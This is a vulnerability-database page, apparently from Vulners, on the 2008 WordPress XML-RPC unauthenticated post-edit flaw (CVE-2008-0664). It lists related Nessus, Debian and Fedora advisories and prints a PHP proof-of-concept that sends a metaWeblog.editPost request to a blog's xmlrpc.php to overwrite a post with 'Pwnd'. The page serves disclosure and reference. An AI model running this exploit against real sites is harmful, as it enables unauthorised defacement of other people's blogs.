Wordpress XML-RPC接口非授权操作漏洞

🗓️ 07 Jul 2008 00:00:00Reported by RootType

WordPress XML-RPC接口非授权操作漏洞公

Reporter	Title	Published	Views	Family All 23
Tenable Nessus	WordPress < 2.3.3 XML-RPC Unauthenticated Post Modification	8 Feb 200800:00	–	nessus
Tenable Nessus	Debian DSA-1601-1 : wordpress - several vulnerabilities	8 Jul 200800:00	–	nessus
Tenable Nessus	Fedora 7 : wordpress-2.3.3-0.fc7 (2008-1512)	14 Feb 200800:00	–	nessus
Tenable Nessus	Fedora 8 : wordpress-2.3.3-0.fc8 (2008-1559)	14 Feb 200800:00	–	nessus
CVE	CVE-2008-0664	8 Feb 200801:00	–	cve
Cvelist	CVE-2008-0664	8 Feb 200801:00	–	cvelist
Debian	[SECURITY] [DSA 1601-1] New wordpress packages fix several vulnerabilities	4 Jul 200807:16	–	debian
Debian CVE	CVE-2008-0664	8 Feb 200801:00	–	debiancve
EUVD	EUVD-2008-0674	7 Oct 202500:30	–	euvd
Fedora	[SECURITY] Fedora 7 Update: wordpress-2.3.3-0.fc7	13 Feb 200804:59	–	fedora


                                                   1.  &lt;?php   
   2. /**  
   3. * POC : XMLRPC Hack  
   4. *  
   5. */   
   6. $host = ''; // blog url   
   7. $page = '/xmlrpc.php';   
   8. $data = '&lt;?xml version=&quot;1.0&quot; ?&gt;   
   9.         &lt;methodcall&gt;   
  10.                 &lt;methodname&gt;metaWeblog.editPost&lt;/methodname&gt;   
  11.                 &lt;params&gt;   
  12.                         &lt;value&gt;   
  13.                                 &lt;i4&gt;post_ID&lt;/i4&gt;   
  14.                         &lt;/value&gt;   
  15.                         &lt;value&gt;   
  16.                                 &lt;string&gt;username&lt;/string&gt;   
  17.                         &lt;/value&gt;   
  18.                         &lt;value&gt;   
  19.                                 &lt;string&gt;password&lt;/string&gt;   
  20.                         &lt;/value&gt;   
  21.                         &lt;struct&gt;   
  22.                                 &lt;member&gt;   
  23.                                         &lt;name&gt;post_type&lt;/name&gt;   
  24.                                         &lt;value&gt;page&lt;/value&gt;   
  25.                                 &lt;/member&gt;   
  26.                                 &lt;member&gt;   
  27.                                         &lt;name&gt;title&lt;/name&gt;   
  28.                                         &lt;value&gt;   
  29.                                                 &lt;string&gt;Pwnd&lt;/string&gt;   
  30.                                         &lt;/value&gt;   
  31.                                 &lt;/member&gt;   
  32.                                 &lt;member&gt;   
  33.                                         &lt;name&gt;description&lt;/name&gt;   
  34.                                         &lt;value&gt;Whoo is ma biatch&lt;/value&gt;   
  35.                                 &lt;/member&gt;   
  36.                         &lt;/struct&gt;   
  37.                 &lt;/params&gt;   
  38.         &lt;/methodcall&gt;';   
  39.     
  40. $exploited = fsockopen($host, 80, $errorNumber, $errorString);   
  41. $requestHeader = &quot; &quot;.$page.&quot;  HTTP/1.1\r\n&quot;;   
  42. $requestHeader.= &quot;Host: &quot;.$host.&quot;\r\n&quot;;   
  43. $requestHeader.= &quot;User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n&quot;;   
  44. $requestHeader.= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;   
  45. $requestHeader.= &quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;;   
  46. $requestHeader.= &quot;Connection: close\r\n\r\n&quot;;   
  47. $requestHeader.= $data;   
  48. fwrite($exploited, $requestHeader );   
  49.     
  50. echo 'done';   
  51. ?&gt;

07 Jul 2008 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.07262

wordpress xml-rpc 漏洞非授权操作安全公告厂商补丁 debian 补丁下载安装方法更新软件包升级补丁